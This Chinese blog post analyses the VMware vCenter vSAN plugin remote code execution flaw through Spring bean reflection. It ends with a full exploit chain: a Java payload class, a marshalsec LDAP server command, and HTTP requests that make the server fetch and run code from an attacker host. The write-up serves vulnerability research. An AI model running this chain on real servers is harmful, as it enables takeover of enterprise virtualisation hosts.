标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2025-2896] 作者: 浩丶轩 发表于: [2021-06-12]
本文共 [351] 位读者顶过
漏洞描述 VMware官方发布了VMware vCenter Server远程代码执行漏洞的风险通告,该漏洞是由360 Noah Lab的安全研究员Ricter Z发现的。VMware vCenter Server是VMware虚拟化管理平台,广泛的应用于企业私有云内网中。通过使用vCenter,管理员可以轻松的管理上百台虚拟化环境,同时也意味着当其被攻击者控制后会造成私有云大量虚拟化环境将被攻击者控制。可以通过443访问vCenter Server的攻击者可以直接通过请求在目标主机上执行任意代码,并接管目标主机。攻击复杂度低,所需的条件少,不需要用户交互。 服务分析
0x1 rhttpproxy 代理通过端口查看相对应的进程,发现web服务主要由rhttpproxy程序进行转发 ![]()
[出自:jiwo.org] 通过 ps aux| grep 8744 指令查看到相应的启动指令,可以看到其中的配置文件所在的目录
/usr/lib/vmware-rhttpproxy/rhttpproxy -r /etc/vmware-rhttpproxy/config.xml -d /etc/vmware-rhttpproxy/endpoints.conf.d -f /etc/vmware-rhttpproxy/endpoints.conf.d/vpxd.conf
搜索到了相关配置,大概意思是/ui路由数据转发给了本地5090端口,rhttpproxy程序做了个代理服务
0x2 Java程序使用lsof指令查看5090端口是哪个进程开放 ![]()
很明显是个Java程序,我们想办法把它调试起来。
调试分析
发现连接不上调试端口,尝试将添加防火墙规则 iptables -A INPUT -p tcp --dport 5009 -j ACCEPTiptables -A OUTPUT -p tcp --sport 5009 -j ACCEPT
之后就可以正常调试了 漏洞点分析0x1 补丁分析通过两个版本对比分析,h5-vsan-context.jar/WEB-INF/web.xml 改动如下,/rest路由必须经过AuthenticationFilter类进行权限校验,修补了未鉴权路由。 ![]()
com.vmware.vsan.client.services.ProxygenController该类添加了额外的输入验证
根据补丁信息基本可以确认这次漏洞存在的文件为ProxygenController.class,漏洞类型为反射和序列化。但一开始关于如何利用想了半天没搞明白。。。 0x2 漏洞点梳理在ProxygenController.class 文件中的invokeService函数是一个标准的spring框架路由处理函数,如下图所示 ![]()
RequestMapping注解会配置该函数的触发路由以及请求方法
@RequestMapping(
粗略的看下代码
iswin师傅发出了一篇关于spring bean的伪链式漏洞利用,好奇的我赶紧学了下spring相关技术总结为以下几个技术点
0x1 MethodInvokingFactoryBean 静态注入为了解决一些对象或变量从配置文件加载到项目启动后不需要进行变化,提出了一种基于xml的静态注入机制,通过该方式注入出来的对象可在java程序中直接使用。可参见如下配置和代码
com.test.User代码如下 public class User{ private static final long serialVersionUID = 1L; private String username; private String password; public String getUsername() { return username; } public void setUsername(String username) { this.username = username == null ? null : username.trim(); } public String getPassword() { return password; } public void setPassword(String password) { this.password = password == null ? null : password.trim(); } }
com.a.b.c.Controller代码如下 public static void setUsername(User users) { users.setUsername("xxx") } }
项目启动后就会生成User对象test,以及调用Controller.setUsername(test)函数,这样就体现了Spring IoC容器的作用:将原来使用Java代码管理的耦合关系,提取到XML中进行管理,从而降低了各组件之间的耦合,提高了软件系统的可维护性。 0x2 MethodInvokingFactoryBean 调用指定方法上面介绍了静态注入的配置方法,在漏洞中其实使用的是静态注入的原理部分,调用类方法及参数传递。假设有这么个类 public static class TestClass1 { public static void intArgument(int arg) { System.out.println(arg); }
当使用以下方法调用时就可以实现执行TestClass1.intArgument(5)的效果,有种反射调用的即视感。
methodInvoker = new MethodInvokingFactoryBean();
0x3 伪链式反射调用链构造伪链式反射调用链有几个关键点需要注意
1.Spring Bean在内存中一直存在,可以连续修改其属性值 在vcenter vsan插件中寻找关于静态注入的配置,果不其然有大量的关键信息 ![]()
在vsan初始化过程中spring会通过配置文件静态注入生成对应的对象,并且在运行过程中这些对象一直存在。如下图所示,getBean会在beanFactory的HashMap中找到键为beanIdOrClassName的值并返回给bean
之后通过getMethods方法获取org.springframework.beans.factory.config.MethodInvokingFactoryBean的所有方法
通过method.getName().equals(methodName)控制调用MethodInvokingFactoryBean的指定函数,同时可以利用body.get(“methodInput”)控制反射调用的参数。最后使用method.invoke(bean, methodInput)实现调用MethodInvokingFactoryBean指定函数的目的。 0x4 思考点经过上面的分析,有个点非常有意思,我们可以通过漏洞点修改MethodInvokingFactoryBean 任意Bean的方法和参数,而且最后还能实现Bean调用。这个危害就比较大了,根据iswin师傅提供的思路,使用JNDI技术实现RCE。 具体操作如下:
1.利用反射修改静态方法为javax.naming.InitialContext.doLookup 具体方式可参照 methodInvoker = new MethodInvokingFactoryBean();methodInvoker.setTargetClass(TestClass1.class); methodInvoker.setTargetMethod("intArgument"); methodInvoker.setArguments(5); methodInvoker.prepare(); methodInvoker.invoke();
漏洞利用 0x1 编写利用类
因为利用ldap方式进行命令执行,首先要编写最后的命令执行代码。 import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.io.Reader; import javax.print.attribute.standard.PrinterMessageFromOperator; public class Exploit{ public Exploit() throws IOException,InterruptedException{ String cmd="touch /tmp/xxx"; final Process process = Runtime.getRuntime().exec(cmd); printMessage(process.getInputStream());; printMessage(process.getErrorStream()); int value=process.waitFor(); System.out.println(value); } private static void printMessage(final InputStream input) { // TODO Auto-generated method stub new Thread (new Runnable() { @Override public void run() { // TODO Auto-generated method stub Reader reader =new InputStreamReader(input); BufferedReader bf = new BufferedReader(reader); String line = null; try { while ((line=bf.readLine())!=null) { System.out.println(line); } }catch (IOException e){ e.printStackTrace(); } } }).start(); } }
编译代码 javac Exploit.java![]()
0x2 开启ldap服务java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.0.124:9998/#Exploit
0x3 发送数据包逐个发送数据包与伪造的LDAP Server建立LDAP链接,最后请求获取恶意Exploit.class POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVsanServiceFactory/setTargetObject HTTP/1.1Host: 192.168.0.233 Connection: close Accept-Encoding: gzip, deflate Content-Type: application/json Content-Length: 22 {"methodInput":[null]} POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setStaticMethod HTTP/1.1 Host: 192.168.0.233 Connection: close Content-Type: application/json Content-Length: 56 {"methodInput":["javax.naming.InitialContext.doLookup"]} POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetMethod HTTP/1.1 Host: 192.168.0.233 Connection: close Content-Type: application/json Content-Length: 28 {"methodInput":["doLookup"]} POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setArguments HTTP/1.1 Host: 192.168.0.233 Connection: close Content-Type: application/json Content-Length: 55 {"methodInput":[["ldap://192.168.0.124:1389/Exploit"]]} POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/prepare HTTP/1.1 Host: 192.168.0.233 Connection: close Content-Type: application/json Content-Length: 18 {"methodInput":[]} POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/invoke HTTP/1.1 Host: 192.168.0.233 Connection: close Content-Type: application/json Content-Length: 18 {"methodInput":[]}
效果如下
总结
vcenter这个洞充分利用了spring的相关特性,有一定的入门门槛,可见对框架的理解和掌握在漏洞挖掘过程中是多么的重要。
|